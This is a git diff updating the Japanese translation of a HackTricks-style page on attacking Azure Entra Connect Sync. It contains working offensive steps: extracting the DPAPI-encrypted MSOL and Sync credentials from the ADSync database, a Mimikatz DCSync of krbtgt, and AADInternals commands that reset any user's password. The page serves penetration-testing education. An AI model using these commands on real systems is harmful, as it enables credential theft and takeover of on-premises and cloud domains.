mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 13:43:24 -08:00
Translated ['', 'src/pentesting-cloud/azure-security/az-lateral-movement
This commit is contained in:
@@ -4,61 +4,64 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect 同期サービス (Microsoft Entra Connect Sync) は、Microsoft Entra Connect の主要なコンポーネントです。これは、オンプレミス環境と Microsoft Entra ID の間でアイデンティティデータを同期するために関連するすべての操作を処理します。
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) は Microsoft Entra Connect の主要コンポーネントです。オンプレミス環境と Microsoft Entra ID 間でのアイデンティティデータの同期に関連するすべての操作を処理します。
|
||||
|
||||
sync サービスはオンプレミスの **Microsoft Entra Connect Sync** コンポーネントと Microsoft Entra ID 側の **Microsoft Entra Connect Sync service** というサービス側コンポーネントの2つで構成されます。
|
||||
|
||||
これを利用するには、AD 環境内のサーバに **`Microsoft Entra Connect Sync`** エージェントをインストールする必要があります。このエージェントが AD 側の同期を担当します。
|
||||
|
||||
これを使用するには、AD 環境内のサーバーに **`Microsoft Entra Connect Sync`** エージェントをインストールする必要があります。このエージェントが AD 側からの同期を担当します。
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Connect Sync** は基本的に、**AD から Entra ID へのユーザーを同期する「古い」Azure の方法です。** 新しい推奨方法は **Entra Cloud Sync** を使用することです:
|
||||
**Connect Sync** は基本的に AD から Entra ID へのユーザー同期を行う「旧来の」Azure の方法です。新しく推奨される方法は **Entra Cloud Sync** を使用することです。
|
||||
|
||||
{{#ref}}
|
||||
az-cloud-sync.md
|
||||
{{#endref}}
|
||||
|
||||
### 生成されたプリンシパル
|
||||
### 生成されるプリンシパル
|
||||
|
||||
- アカウント **`MSOL_<installationID>`** はオンプレミス AD に自動的に作成されます。このアカウントには **ディレクトリ同期アカウント** の役割が与えられています (詳細は [ドキュメント](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions) を参照) これは、オンプレミス AD で **レプリケーション (DCSync) 権限** を持つことを意味します。
|
||||
- これは、このアカウントを侵害した者がオンプレミス ドメインを侵害できることを意味します。
|
||||
- 管理サービスアカウント **`ADSyncMSA<id>`** がオンプレミス AD に特別なデフォルト権限なしで作成されます。
|
||||
- Entra ID では、サービス プリンシパル **`ConnectSyncProvisioning_ConnectSync_<id>`** が証明書と共に作成されます。
|
||||
- アカウント **`MSOL_<installationID>`** がオンプレミスの AD に自動作成されます。このアカウントには **Directory Synchronization Accounts** ロールが付与されます(詳細は [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions) を参照)。これはオンプレミス AD における **replication (DCSync) permissions** を持つことを意味します。
|
||||
- つまり、このアカウントを乗っ取った者はオンプレミスドメインを乗っ取ることが可能になります。
|
||||
- 管理サービスアカウント **`ADSyncMSA<id>`** がオンプレミス AD に作成されますが、特別なデフォルト権限はありません。
|
||||
- Entra ID 側には証明書付きでサービスプリンシパル **`ConnectSyncProvisioning_ConnectSync_<id>`** が作成されます。
|
||||
|
||||
## パスワードの同期
|
||||
|
||||
### パスワードハッシュ同期
|
||||
### パスワードハッシュ同期 (Password Hash Synchronization)
|
||||
|
||||
このコンポーネントは、**AD から Entra ID へのパスワードを同期する**ためにも使用できます。これにより、ユーザーは AD のパスワードを使用して Entra ID に接続できるようになります。これを行うには、AD サーバーにインストールされた Microsoft Entra Connect Sync エージェントでパスワードハッシュ同期を許可する必要があります。
|
||||
このコンポーネントは **AD から Entra ID へパスワードを同期** するためにも使用でき、ユーザーは AD のパスワードで Entra ID に接続できるようになります。これには、AD サーバにインストールされた Microsoft Entra Connect Sync エージェントで password hash synchronization を有効にする必要があります。
|
||||
|
||||
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **パスワードハッシュ同期** は、ハイブリッドアイデンティティを達成するために使用されるサインイン方法の一つです。**Azure AD Connect** は、オンプレミスの Active Directory インスタンスからクラウドベースの Azure AD インスタンスにユーザーのパスワードのハッシュのハッシュを同期します。
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** はハイブリッドアイデンティティを実現するためのサインイン方法の一つです。**Azure AD Connect** はオンプレミス Active Directory のユーザーのパスワードのハッシュのハッシュをクラウドベースの Azure AD に同期します。
|
||||
|
||||
基本的に、すべての **ユーザー** と **パスワードハッシュのハッシュ** がオンプレミスから Azure AD に同期されます。ただし、**平文のパスワード** や **元の** **ハッシュ** は Azure AD に送信されません。
|
||||
基本的に、すべての **users** と **hash of the password hashes** がオンプレミスから Azure AD に同期されます。ただし、**clear-text passwords** や **元のハッシュ** は Azure AD に送信されません。
|
||||
|
||||
**ハッシュの同期** は **2 分ごと** に行われます。ただし、デフォルトでは、**パスワードの有効期限** と **アカウントの有効期限** は Azure AD で **同期されません**。したがって、**オンプレミスのパスワードが期限切れ** (変更されていない) のユーザーは、古いパスワードを使用して **Azure リソースにアクセスし続ける** ことができます。
|
||||
ハッシュの同期は通常 **2 分ごと** に行われます。ただし、デフォルトでは **password expiry** と **account expiry** は Azure AD に **同期されません**。そのため、オンプレ側の **パスワードが期限切れ**(変更されていない)であっても、ユーザーは古いパスワードを使って **Azure リソースにアクセスし続ける** ことができます。
|
||||
|
||||
オンプレミスのユーザーが Azure リソースにアクセスしようとすると、**認証は Azure AD で行われます**。
|
||||
オンプレのユーザーが Azure リソースにアクセスする際、**認証は Azure AD 側で行われます**。
|
||||
|
||||
> [!NOTE]
|
||||
> デフォルトでは、**`adminCount` が 1 の既知の特権グループのユーザーは、セキュリティ上の理由から Entra ID と同期されません**。ただし、この属性を持たない特権グループの一部である他のユーザーや、高い権限が直接割り当てられたユーザーは **同期される可能性があります**。
|
||||
> デフォルトでは、Domain Admins のような既知の特権グループのユーザーで、属性 **`adminCount` が 1 のものは Entra ID と同期されません**(セキュリティ上の理由)。しかし、他のユーザーで属性がない特権グループの一部であったり、直接高い権限が割り当てられているユーザーは **同期される可能性があります**。
|
||||
|
||||
### パスワードの書き戻し
|
||||
### Password Writeback(パスワード書き戻し)
|
||||
|
||||
この構成により、ユーザーが Entra ID でパスワードを変更したときに **Entra ID から AD へのパスワードを同期する**ことができます。パスワードの書き戻しが機能するためには、AD に自動的に生成された `MSOL_<id>` ユーザーに [ドキュメントに記載されているように、より多くの権限を付与する必要があります](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) これにより、**AD 内の任意のユーザーのパスワードを変更できる**ようになります。
|
||||
この構成は、ユーザーが Entra ID でパスワードを変更したときに **Entra ID から AD へパスワードを同期(書き戻し)** することを可能にします。Password writeback を機能させるには、AD に自動生成された `MSOL_<id>` ユーザーに対して [docs に示されているような追加権限](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) を付与する必要があり、そうすることで **AD 内の任意のユーザーのパスワードを変更できるようになります**。
|
||||
|
||||
これは、侵害された Entra ID から AD を侵害するために特に興味深いです。なぜなら、ほぼすべてのユーザーのパスワードを変更できるからです。
|
||||
これは、侵害された Entra ID から AD を侵害する場合に特に興味深い機能で、ほぼ任意のユーザーのパスワードを変更できるようになります。
|
||||
|
||||
ドメイン管理者や特権グループに属する他のユーザーは、グループが **`adminCount` 属性が 1** の場合は複製されません。しかし、これらのグループに属さずに AD 内で高い権限が割り当てられた他のユーザーは、パスワードを変更される可能性があります。例えば:
|
||||
Domain admins や一部の特権グループに属する他のユーザーは、そのグループが **`adminCount` 属性を 1 にしている場合は複製されません**。しかし、どのグループにも属していないのに AD 内で直接高い権限が割り当てられている他のユーザーはパスワードを変更される可能性があります。例えば:
|
||||
|
||||
- 直接高い権限が割り当てられたユーザー。
|
||||
- 直接高い権限が割り当てられているユーザー。
|
||||
- **`DNSAdmins`** グループのユーザー。
|
||||
- GPO を作成し、それを OU に割り当てた **`Group Policy Creator Owners`** グループのユーザーは、作成した GPO を変更できる。
|
||||
- Active Directory に証明書を発行できる **`Cert Publishers Group`** のユーザー。
|
||||
- **`adminCount` 属性が 1** でない高い権限を持つ他のグループのユーザー。
|
||||
- **`Group Policy Creator Owners`** グループのメンバーで、GPO を作成して OU に割り当てたユーザーは、自分が作成した GPO を変更できます。
|
||||
- **`Cert Publishers Group`** のユーザーで、Active Directory に証明書を公開できるユーザー。
|
||||
- **`adminCount` 属性が 1 になっていない** 高権限の他の任意のグループのユーザー。
|
||||
|
||||
## AD --> Entra ID のピボット
|
||||
## AD --> Entra ID へのピボット
|
||||
|
||||
### Connect Sync の列挙
|
||||
|
||||
ユーザーを確認します:
|
||||
ユーザーを確認する:
|
||||
```bash
|
||||
# Check for the users created by the Connect Sync
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
@@ -76,23 +79,23 @@ $searcher.FindAll()
|
||||
$searcher.Filter = "(samAccountName=Sync_*)"
|
||||
$searcher.FindAll()
|
||||
```
|
||||
**Connect Syncの設定**(ある場合)を確認してください:
|
||||
(該当する場合)**Connect Sync configuration** を確認してください:
|
||||
```bash
|
||||
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
|
||||
# Check if password sychronization is enabled, if password and group writeback are enabled...
|
||||
```
|
||||
### パスワードの発見
|
||||
### パスワードの取得
|
||||
|
||||
**`MSOL_*`** ユーザー(および作成された場合は **Sync\_\*** ユーザー)のパスワードは、**Entra ID Connect がインストールされているサーバーの SQL サーバー** に **保存されています。** 管理者は、これらの特権ユーザーのパスワードを平文で抽出できます。\
|
||||
**`MSOL_*`** ユーザー(および作成されていれば **Sync\_\*** ユーザー)のパスワードは、**Entra ID Connect がインストールされているサーバー上の SQL Server に保存されています。** 管理者はこれら特権ユーザーのパスワードをプレーンテキストで抽出できます。\
|
||||
データベースは `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf` にあります。
|
||||
|
||||
テーブルの1つから構成を抽出することが可能で、その中には暗号化されたものがあります:
|
||||
あるテーブルから設定を抽出できますが、そのうち1つは暗号化されています:
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
**暗号化された構成** は **DPAPI** で暗号化されており、オンプレミスの AD における **`MSOL_*`** ユーザーのパスワードと AzureAD における **Sync\_\*** のパスワードが含まれています。したがって、これらを侵害することで AD および AzureAD への特権昇格が可能です。
|
||||
**暗号化された構成**は **DPAPI** で暗号化されており、オンプレ AD の **`MSOL_*`** ユーザーのパスワードと AzureAD の **Sync\_\*** のパスワードを含みます。したがって、これらを侵害すると AD および AzureAD に対して privesc が可能になります。
|
||||
|
||||
これらの資格情報がどのように保存され、復号化されるかの[完全な概要はこのトークで確認できます](https://www.youtube.com/watch?v=JEIR5oGCwdg)。
|
||||
You can find a [full overview of how these credentials are stored and decrypted in this talk](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
### MSOL\_\* の悪用
|
||||
```bash
|
||||
@@ -112,34 +115,35 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!WARNING]
|
||||
> 以前の攻撃では、他のパスワードが侵害され、その後 `Sync_*` という Entra ID ユーザーに接続して Entra ID を侵害しました。しかし、このユーザーはもはや存在しません。
|
||||
> 以前の攻撃では、別のパスワードが侵害され、その後 `Sync_*` と呼ばれる Entra ID ユーザーに接続して Entra ID が乗っ取られました。しかし、このユーザーは現在存在しません。
|
||||
|
||||
### ConnectSyncProvisioning_ConnectSync\_<id> の悪用
|
||||
|
||||
このアプリケーションは、Entra ID または Azure 管理ロールが割り当てられていない状態で作成されます。しかし、以下の API 権限があります:
|
||||
### Abusing ConnectSyncProvisioning_ConnectSync\_<id>
|
||||
|
||||
- Microsoft Entra AD 同期サービス
|
||||
このアプリケーションは Entra ID や Azure の管理ロールが割り当てられていない状態で作成されています。しかし、以下の API 権限を持っています:
|
||||
|
||||
- Microsoft Entra AD Synchronization Service
|
||||
- `ADSynchronization.ReadWrite.All`
|
||||
- Microsoft パスワードリセットサービス
|
||||
- Microsoft password reset service
|
||||
- `PasswordWriteback.OffboardClient.All`
|
||||
- `PasswordWriteback.RefreshClient.All`
|
||||
- `PasswordWriteback.RegisterClientVersion.All`
|
||||
|
||||
このアプリケーションの SP は、文書化されていない API を使用して特権的なアクションを実行するためにまだ使用できるとされていますが、私の知る限りでは PoC はまだ見つかっていません。\
|
||||
いずれにせよ、これが可能であると考えると、このサービスプリンシパルとしてログインするための証明書を見つけて悪用する方法をさらに探ることは興味深いでしょう。
|
||||
このアプリケーションの SP は、ドキュメント化されていない API を使っていくつかの特権アクションを実行するためにまだ利用できる可能性があると言われていますが、私の知る限りまだ PoC は見つかっていません。\
|
||||
いずれにせよ、それが可能かもしれないと考えるなら、この service principal としてログインするための証明書をどのように見つけて悪用するかをさらに調査する価値があります。
|
||||
|
||||
この [ブログ投稿](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) は、`Sync_*` ユーザーからこのサービスプリンシパルへの変更の直前に公開され、証明書がサーバー内に保存されており、それを見つけて PoP(所有証明)を生成し、トークンをグラフ化し、これを使用してサービスプリンシパルに新しい証明書を追加できることが説明されました(**サービスプリンシパル**は常に新しい証明書を自分に割り当てることができます)。そして、その後 SP として持続性を維持するために使用します。
|
||||
この [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) は、`Sync_*` ユーザーからこの service principal に切り替わった直後に公開され、証明書がサーバー内に保存されており、それを見つけて PoP (Proof of Possession) を生成し graph token を得ることが可能で、それにより service principal に新しい証明書を追加できる(**service principal** は自分自身に常に新しい証明書を割り当てられるため)そしてそれを使って SP として永続化できると説明しています。
|
||||
|
||||
これらのアクションを実行するために、次のツールが公開されています:[SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils)。
|
||||
これらの操作を行うために、以下のツールが公開されています: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
|
||||
|
||||
私の経験では、証明書は以前のツールが探していた場所にはもはや保存されておらず、そのためツールはもはや機能しません。したがって、さらなる調査が必要かもしれません。
|
||||
{#ref}https://github.com/hotnops/ECUtilities/issues/1#issuecomment-3220989919{#endref} によれば、証明書を見つけるには、**`miiserver` プロセスのトークンを盗んだプロセスから**ツールを実行する必要があるとされています。
|
||||
|
||||
### Sync\_\* の悪用 [非推奨]
|
||||
### Abusing Sync\_\* [DEPRECATED]
|
||||
|
||||
> [!WARNING]
|
||||
> 以前は、`Sync_*` というユーザーが Entra ID に作成され、非常に敏感な権限が割り当てられており、任意のユーザーのパスワードを変更したり、サービスプリンシパルに新しい資格情報を追加したりする特権的なアクションを実行できました。しかし、2025年1月からこのユーザーはデフォルトで作成されなくなり、現在はアプリケーション/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** が使用されています。ただし、いくつかの環境にはまだ存在する可能性があるため、確認する価値があります。
|
||||
> 以前は `Sync_*` というユーザーが Entra ID に作成され、非常にセンシティブな権限が割り当てられていました。これにより任意のユーザーのパスワード変更や service principal に新しい資格情報を追加するなどの特権アクションが可能でした。しかし、Jan2025 以降、このユーザーはデフォルトで作成されなくなり、代わりに Application/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** が使われるようになりました。それでも一部の環境には残っている可能性があるため、確認する価値はあります。
|
||||
|
||||
**`Sync_*`** アカウントを侵害することで、任意のユーザー(グローバル管理者を含む)の **パスワードをリセット** することが可能です。
|
||||
**`Sync_*`** アカウントを侵害すると、任意のユーザー(Global Administrators を含む)の**パスワードをリセットする**ことが可能です。
|
||||
```bash
|
||||
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
|
||||
Import-Module AADInternals
|
||||
@@ -163,7 +167,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
|
||||
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
クラウドユーザーの**パスワードのみを変更する**ことも可能です(予期しない場合でも)。
|
||||
また、**クラウドユーザーのみのパスワードを変更する**ことも可能です(予期せずとも)
|
||||
```bash
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
@@ -175,22 +179,22 @@ Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37"
|
||||
このユーザーのパスワードをダンプすることも可能です。
|
||||
|
||||
> [!CAUTION]
|
||||
> 別のオプションは、**サービスプリンシパルに特権のある権限を割り当てる**ことであり、**Sync**ユーザーには**権限**があります。そして、その**サービスプリンシパルにアクセスする**ことで特権昇格を行うことができます。
|
||||
> 別の選択肢として、**assign privileged permissions to a service principal** ことが考えられます。**Sync** ユーザーはそれを行う **permissions** を持っており、その後 **access that service principal** して privesc を達成できます。
|
||||
|
||||
### シームレスSSO
|
||||
### Seamless SSO
|
||||
|
||||
PHSを使用してシームレスSSOを利用することが可能であり、他の悪用に対して脆弱です。以下で確認してください:
|
||||
Seamless SSO を PHS と一緒に使用することが可能で、これは他の悪用に対して脆弱です。詳細は以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
az-seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## ピボッティング Entra ID --> AD
|
||||
## Pivoting Entra ID --> AD
|
||||
|
||||
- パスワードの書き戻しが有効になっている場合、Entra IDと同期されているAD内の任意のユーザーの**パスワードを変更する**ことができます。
|
||||
- グループの書き戻しが有効になっている場合、ADと同期されているEntra IDの**特権グループにユーザーを追加する**ことができます。
|
||||
- password writeback が有効になっている場合、Entra ID と同期されている AD 内の任意のユーザーの **modify the password of any user in the AD** が可能です。
|
||||
- groups writeback が有効になっている場合、AD と同期されている Entra ID の特権グループにユーザーを **add users to privileged groups** できます。
|
||||
|
||||
## 参考文献
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
|
||||
Reference in New Issue
Block a user